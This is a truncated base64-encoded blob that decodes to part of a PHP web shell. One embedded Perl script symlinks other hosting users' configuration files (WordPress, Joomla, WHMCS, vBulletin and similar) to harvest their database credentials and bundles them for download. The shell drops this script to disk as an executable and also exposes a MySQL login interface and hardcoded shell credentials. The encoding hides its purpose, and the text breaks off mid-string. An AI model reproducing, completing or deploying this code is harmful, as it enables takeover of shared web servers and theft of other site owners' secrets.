cFkxOW9kRzFzTDJadmNuVnRMMmx1WXk5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxTQk5lVUpDSUMwZ1ptOXlkVzB1ZEhoMEp5a2dPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxTQlBkR2hsY2k1MGVIUW5LU0E3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyeHBZaTlqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFNCQ1lXeHBkR0poYm1jdWRIaDBKeWtnT3lBTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZMnhwWlc1MEwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkxXTnNhV1Z1ZEhNdWRIaDBKeWtnT3lBTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZMnhwWlc1MGN5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MWpiR2xsYm5RdWRIaDBKeWtnT3lBTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZbWxzYkdsdVp5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MWlhV3hzYVc1bkxuUjRkQ2NwSURzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMkpwYkd4cGJtZHpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MV0pwYkd4cGJtZHpMblI0ZENjcElEc2dEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDNkb2JXTnpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MU0IzYUcxamN5QXRJSGRvYldOekxuUjRkQ2NwSURzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM2RvYlM5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SnkwZ2QyaHRJQzBnZDJodExuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOW1iM0oxYlM5cGJtTnNkV1JsY3k5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxTQldRblZzYkdWMGFXNGdMU0JtYjNKMWJTNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZabTl5ZFcwdlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUp3a3RJRkJvY0VKQ0lDMGdabTl5ZFcwdWRIaDBKeWtnT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOTNhRzFqTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuTFNCM2FHMWpJQzBnZDJodFl5NTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZjM1ZpYldsMGRHbGphMlYwTG5Cb2NDY3NKR3R2YkdFdUp3a3RJSGRvYldOek1pNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZiV0Z1WVdkbEwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkNTMXRZVzVuWlhkb2JXTnpMblI0ZENjcE95QU5DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YlhsemFHOXdMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5DUzF0ZVhOb2IzQXVkSGgwSnlrN0lBMEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl6ZFhCd2IzSjBMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MWE4xY0hCdmNuUXVkSGgwSnlrN0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM04xY0hCdmNuUnpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MWE4xY0hCdmNuUnpMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl2YzJOdmJXMWxjbU5sTDJsdVkyeDFaR1Z6TDJOdmJtWnBaM1Z5WlM1d2FIQW5MQ1JyYjJ4aExpY3RiM05qYjIxdFpYSmpaUzUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YjNOamIyMXRaWEpqWlhNdmFXNWpiSFZrWlhNdlkyOXVabWxuZFhKbExuQm9jQ2NzSkd0dmJHRXVKeTF2YzJOdmJXMWxjbU5sY3k1MGVIUW5LVHNOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmMyaHZjSEJwYm1jdmFXNWpiSFZrWlhNdlkyOXVabWxuZFhKbExuQm9jQ2NzSkd0dmJHRXVKeTF6YUc5d0xYTm9iM0J3YVc1bkxuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXpZV3hsTDJsdVkyeDFaR1Z6TDJOdmJtWnBaM1Z5WlM1d2FIQW5MQ1JyYjJ4aExpY3RjMkZzWlM1MGVIUW5LVHNOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dllXMWxiV0psY2k5amIyNW1hV2N1YVc1akxuQm9jQ2NzSkd0dmJHRXVKeTFoYldWdFltVnlMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlqYjI1bWFXY3VhVzVqTG5Cb2NDY3NKR3R2YkdFdUp5MWhiV1Z0WW1WeU1pNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZkM0F2ZDNBdFkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUp5MGdkMjl5WkhCeVpYTnpJQzBnZDNBdWRIaDBKeWs3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzZHdMMkpsZEdFdmQzQXRZMjl1Wm1sbkxuQm9jQ2NzSkd0dmJHRXVKeTBnZDNkdmNtUndjbVZ6Y3lBdElIZHdJQzBnWW1WMFlTNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZbVYwWVM5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MU0IzYjNKa2NISmxjM01nTFNCaVpYUmhMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl3Y21WemN5OTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFhkd01UTXRjSEpsYzNNdWRIaDBKeWs3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzZHZjbVJ3Y21WemN5OTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFNCM2IzSmtjSEpsYzNNZ0xYZHZjbVJ3Y21WemN5NTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZkMjl5WkhCeVpYTnpMMkpsZEdFdmQzQXRZMjl1Wm1sbkxuQm9jQ2NzSkd0dmJHRXVKeTBnZDI5eVpIQnlaWE56SUMwZ2QyOXlaSEJ5WlhOekxXSmxkR0V1ZEhoMEp5azdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDI1bGQzTXZkM0F0WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2QyOXlaSEJ5WlhOeklDMXVaWGR6TG5SNGRDY3BPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5dVpYY3ZkM0F0WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2QyOXlaSEJ5WlhOeklDMGdibVYzTG5SNGRDY3BPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5aWJHOW5jeTkzY0MxamIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxTQjNiM0prY0hKbGMzTWdMU0JpYkc5bmN5NTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZhRzl0WlM5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MU0IzYjNKa2NISmxjM01nTFNCb2IyMWxMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl3Y205MFlXd3ZkM0F0WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2QyOXlaSEJ5WlhOeklDMGdjSEp2ZEdGc0xuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXphWFJsTDNkd0xXTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpY3RJSGR2Y21Sd2NtVnpjeUF0SUhOcGRHVXVkSGgwSnlrN0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMjFoYVc0dmQzQXRZMjl1Wm1sbkxuQm9jQ2NzSkd0dmJHRXVKeTBnZDI5eVpIQnlaWE56SUMwZ2JXRnBiaTUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2ZEdWemRDOTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFNCM2IzSmtjSEpsYzNNZ0xTQjBaWE4wTG5SNGRDY3BPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5cWIyOXRiR0V2WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWN0YW05dmJXeGhJQzBnYW05dmJXeGhJQzUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2Y0hKdmRHRnNMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MU0JxYjI5dGJHRWdMU0J3Y205MFlXd3VkSGgwSnlrN0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMnB2Ynk5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SnkwZ2FtOXZiV3hoSUMwZ2FtOXZMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlqYlhNdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGljdElHcHZiMjFzWVNBdElHTnRjeTUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YzJsMFpTOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MGdhbTl2Yld4aElDMGdjMmwwWlM1MGVIUW5LVHNOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmJXRnBiaTlqYjI1bWFXZDFjbUYwYVc5dUxuQm9jQ2NzSkd0dmJHRXVKeTBnYW05dmJXeGhJQzBnYldGcGJpNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZibVYzY3k5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SnkwZ2FtOXZiV3hoSUMwZ2JtVjNjeTUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2Ym1WM0wyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkxTQnFiMjl0YkdFZ0xTQnVaWGN1ZEhoMEp5azdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJodmJXVXZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpY3RJR3B2YjIxc1lTQXRJR2h2YldVdWRIaDBKeWs3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzWmlMMmx1WTJ4MVpHVnpMMk52Ym1acFp5NXdhSEFuTENScmIyeGhMaWN0SUhaaUxuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOTJZak12YVc1amJIVmtaWE12WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2RtSXpMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlqY0dGdVpXd3ZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpY3RZM0JoYm1Wc0xuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXdZVzVsYkM5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1Snkxd1lXNWxiQzUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YUc5emRDOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MW9iM04wTG5SNGRDY3BPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5b2IzTjBhVzVuTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuTFdodmMzUnBibWN1ZEhoMEp5azdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJodmMzUnpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MV2h2YzNSekxuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXBibU5zZFdSbGN5OWthWE4wTFdOdmJtWnBaM1Z5WlM1d2FIQW5MQ1JyYjJ4aExpY3RlbVZ1WTJGeWRDNTBlSFFuS1RzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM3BsYm1OaGNuUXZhVzVqYkhWa1pYTXZaR2x6ZEMxamIyNW1hV2QxY21VdWNHaHdKeXdrYTI5c1lTNG5MU0I2Wlc1allYSjBJQzBnYzJodmNDNTBlSFFuS1RzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM05vYjNBdmFXNWpiSFZrWlhNdlpHbHpkQzFqYjI1bWFXZDFjbVV1Y0dod0p5d2thMjlzWVM0bkxYTm9iM0F0V2tOemFHOXdMblI0ZENjcE95QU5DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2VTJWMGRHbHVaM011Y0dod0p5d2thMjlzWVM0bkxTQnpiV1l1ZEhoMEp5azdJQTBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5emJXWXZVMlYwZEdsdVozTXVjR2h3Snl3a2EyOXNZUzRuTFNCemJXWWdMU0J6YldZdWRIaDBKeWs3SUEwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOW1iM0oxYlM5VFpYUjBhVzVuY3k1d2FIQW5MQ1JyYjJ4aExpY3RJSE50WmlBdElHWnZjblZ0TG5SNGRDY3BPeUFOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlptOXlkVzF6TDFObGRIUnBibWR6TG5Cb2NDY3NKR3R2YkdFdUp5MGdjMjFtSUMwZ1ptOXlkVzF6TG5SNGRDY3BPeUFOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmRYQnNiMkZrTDJsdVkyeDFaR1Z6TDJOdmJtWnBaeTV3YUhBbkxDUnJiMnhoTGljdElIVndiRzloWkNBdWRIaDBKeWs3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wybHVZMnd2WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2JXRnNZWGt1ZEhoMEp5azdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJOdmJtWnBaeTlyYjI1bGEzTnBMbkJvY0Njc0pHdHZiR0V1SnkwZ2JHOXJiMjFsWkdsaExuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5emVYTjBaVzB2YzJsemRHVnRMbkJvY0Njc0pHdHZiR0V1SnkwZ2JHOXJiMjFsWkdsaExuUjRkQ2NwT3lBTkNpQjlEUXBwWmlBb0pFVk9WbnNuVWtWUlZVVlRWRjlOUlZSSVQwUW5mU0JsY1NBblVFOVRWQ2NwSUhzTkNpQWdjbVZoWkNoVFZFUkpUaXdnSkdKMVptWmxjaXdnSkVWT1Zuc25RMDlPVkVWT1ZGOU1SVTVIVkVnbmZTazdEUXA5SUdWc2MyVWdldzBLSUNBa1luVm1abVZ5SUQwZ0pFVk9WbnNuVVZWRlVsbGZVMVJTU1U1SEozMDdEUXA5RFFwQWNHRnBjbk1nUFNCemNHeHBkQ2d2Smk4c0lDUmlkV1ptWlhJcE93MEtabTl5WldGamFDQWtjR0ZwY2lBb1FIQmhhWEp6S1NCN0RRb2dJQ2drYm1GdFpTd2dKSFpoYkhWbEtTQTlJSE53YkdsMEtDODlMeXdnSkhCaGFYSXBPdzBLSUNBa2JtRnRaU0E5ZmlCMGNpOHJMeUF2T3cwS0lDQWtibUZ0WlNBOWZpQnpMeVVvVzJFdFprRXRSakF0T1YxYllTMW1RUzFHTUMwNVhTa3ZjR0ZqYXlnaVF5SXNJR2hsZUNna01Ta3BMMlZuT3cwS0lDQWtkbUZzZFdVZ1BYNGdkSEl2S3k4Z0x6c05DaUFnSkhaaGJIVmxJRDErSUhNdkpTaGJZUzFtUVMxR01DMDVYVnRoTFdaQkxVWXdMVGxkS1M5d1lXTnJLQ0pESWl3Z2FHVjRLQ1F4S1NrdlpXYzdEUW9nSUNSR1QxSk5leVJ1WVcxbGZTQTlJQ1IyWVd4MVpUc05DbjBOQ21sbUlDZ2tSazlTVFh0d1lYTnpmU0JsY1NBaUlpbDdEUXB3Y21sdWRDQW5EUW84WW05a2VTQmpiR0Z6Y3owaWJtVjNVM1I1YkdVeElqNE5Danh3UGladVluTndPend2Y0Q0TkNqeG1iM0p0SUcxbGRHaHZaRDBpY0c5emRDSStEUW84ZEdWNGRHRnlaV0VnYm1GdFpUMGljR0Z6Y3lJZ2MzUjViR1U5SW5kcFpIUm9PaUExTkROd2VEc2dhR1ZwWjJoME9pQTBNREJ3ZUNJK1BDOTBaWGgwWVhKbFlUNE5DanhpY2lBdlBqeGljaUF2UGcwS1BHbHVjSFYwSUc1aGJXVTlJblJoY2lJZ2RIbHdaVDBpZEdWNGRDSWdjM1I1YkdVOUluZHBaSFJvT2lBeU1USndlQ0lnTHo0OFluSWdMejQ4WW5JZ0x6NE5DanhwYm5CMWRDQnVZVzFsUFNKVGRXSnRhWFF4SWlCMGVYQmxQU0p6ZFdKdGFYUWlJSFpoYkhWbFBTSklZV3BoY2lBdUxpRWlJSE4wZVd4bFBTSjNhV1IwYURvZ09UbHdlQ0lnTHo0TkNqeGljaUF2UGcwS1BDOW1iM0p0UGljN0RRcDlaV3h6WlhzTkNrQnNhVzVsY3lBOVBDUkdUMUpOZTNCaGMzTjlQanNOQ2lSNUlEMGdRR3hwYm1Wek93MEtiM0JsYmlBb1RWbEdTVXhGTENBaVBuUmhjaTUwYlhBaUtUc05DbkJ5YVc1MElFMVpSa2xNUlNBaWRHRnlJQzFqZW1ZZ0lpNGtSazlTVFh0MFlYSjlMaUl1ZEdGeUlDSTdEUXBtYjNJZ0tDUnJZVDB3T3lScllUd2tlVHNrYTJFckt5bDdEUXAzYUdsc1pTaEFiR2x1WlhOYkpHdGhYU0FnUFg0Z2JTOG9MaW8vS1RwNE9pOW5LWHNOQ2lac2FXd29KREVwT3cwS2NISnBiblFnVFZsR1NVeEZJQ1F4TGlJdWRIaDBJQ0k3RFFwbWIzSW9KR3RrUFRFN0pHdGtQREU0T3lSclpDc3JLWHNOQ25CeWFXNTBJRTFaUmtsTVJTQWtNUzRrYTJRdUlpNTBlSFFnSWpzTkNuME5DbjBOQ2lCOURRcHdjbWx1ZENjOFltOWtlU0JqYkdGemN6MGlibVYzVTNSNWJHVXhJajROQ2p4d1BrUnZibVVnSVNFOEwzQStEUW84Y0Q0bWJtSnpjRHM4TDNBK0p6c05DbWxtS0NSR1QxSk5lM1JoY24wZ2JtVWdJaUlwZXcwS2IzQmxiaWhKVGtaUExDQWlkR0Z5TG5SdGNDSXBPdzBLUUd4cGJtVnpJRDA4U1U1R1R6NGdPdzBLWTJ4dmMyVW9TVTVHVHlrN0RRcHplWE4wWlcwb1FHeHBibVZ6S1RzTkNuQnlhVzUwSnp4d1BqeGhJR2h5WldZOUlpY3VKRVpQVWsxN2RHRnlmUzRuTG5SaGNpSStJR1J2ZDI1c2IyRmtJQ0JtYVd4bFBDOWhQand2Y0Q0bk93MEtmUTBLZlEwS0lIQnlhVzUwSWcwS1BDOWliMlI1UGcwS1BDOW9kRzFzUGlJNyc7IA0KDQogDQoNCiRmaWxlID0gZm9wZW4oImNvbmZpZy5pem8iICwidysiKTsNCiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7DQpmY2xvc2UoJGZpbGUpOw0KICAgIGNobW9kKCJjb25maWcuaXpvIiwwNzU1KTsNCiAgIGVjaG8gIjxpZnJhbWUgc3JjPWNvbmZpZy9jb25maWcuaXpvIHdpZHRoPTk3JSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPg0KICAgPC9kaXY+IjsgDQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ21zJykpDQp7CQ0KPz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1tcyIgbWV0aG9kPSJwb3N0Ij4NCg0KPD9waHANCiRQQVNTV09SRCA9ICJ0cnlhZ192YiI7DQokVVNFUk5BTUUgPSAiMTAyMDMwIjsNCg0KaWYgKCBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSApIHsNCgkkb25vZmYgPSBpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxzJyk7DQp9IGVsc2Ugew0KCSRvbm9mZiA9IGdldF9jZmdfdmFyKCdyZWdpc3Rlcl9nbG9iYWxzJyk7DQp9DQppZiAoJG9ub2ZmICE9IDEpIHsNCglAZXh0cmFjdCgkSFRUUF9TRVJWRVJfVkFSUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9DT09LSUVfVkFSUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX0ZJTEVTLCBFWFRSX1NLSVApOw0KCUBleHRyYWN0KCRIVFRQX1BPU1RfVkFSUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9HRVRfVkFSUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9FTlZfVkFSUywgRVhUUl9TS0lQKTsNCn0NCg0KZnVuY3Rpb24gbG9nb24oKSB7DQoJZ2xvYmFsICRQSFBfU0VMRjsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICk7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKTsNCgllY2hvICI8Y2VudGVyLz48YnIvPjxiPjxmb250IGNvbG9yPSMwMGZmMDA+Ky0tPT1bIE15c3FsIEludGVyZmFjZSBdPT0tLSs8L2ZvbnQ+PC9iPjxicj48YnI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjbGFzcz10YWJuZXQgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIlxuIjsNCgllY2hvICJcbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNsYXNzPXRhYm5ldCBjZWxscGFkZGluZz01IGNlbGxzcGFjaW5nPTEgc3R5bGU9J3dpZHRoOjMwMHB4Oyc+XG4iOw0KCWVjaG8gIjx0aCBjb2xzcGFuPScyJz5NeVNRTCBJbnRlcmZhY2U8L3RoPiI7DQoJZWNobyAiPHRyPjx0ZD5Ib3N0bmFtZSA8L3RkPjx0ZD4gPGlucHV0IGNsYXNzPSdpbnB1dHonIHN0eWxlPSd3aWR0aDoyMjlweDsnIHR5cGU9dGV4dCBuYW1lPWhvc3RuYW1lIHZhbHVlPSdsb2NhbGhvc3QnPjwvdGQ+PC90cj5cbiI7DQoJZWNobyAiPHRyPjx0ZD5Vc2VybmFtZSA8L3RkPjx0ZD4gPGlucHV0IGNsYXNzPSdpbnB1dHonIHN0eWxlPSd3aWR0aDoyMjlweDsnIHR5cGU9dGV4dCBuYW1lPXVzZXJuYW1lPjwvdGQ+PC90cj5cbiI7DQoJZWNobyAiPHRyPjx0ZD5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IGNsYXNzPSdpbnB1dHonIHN0eWxlPSd3aWR0aDoyMjlweDsnIHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgY2xhc3M9J2lucHV0emJ1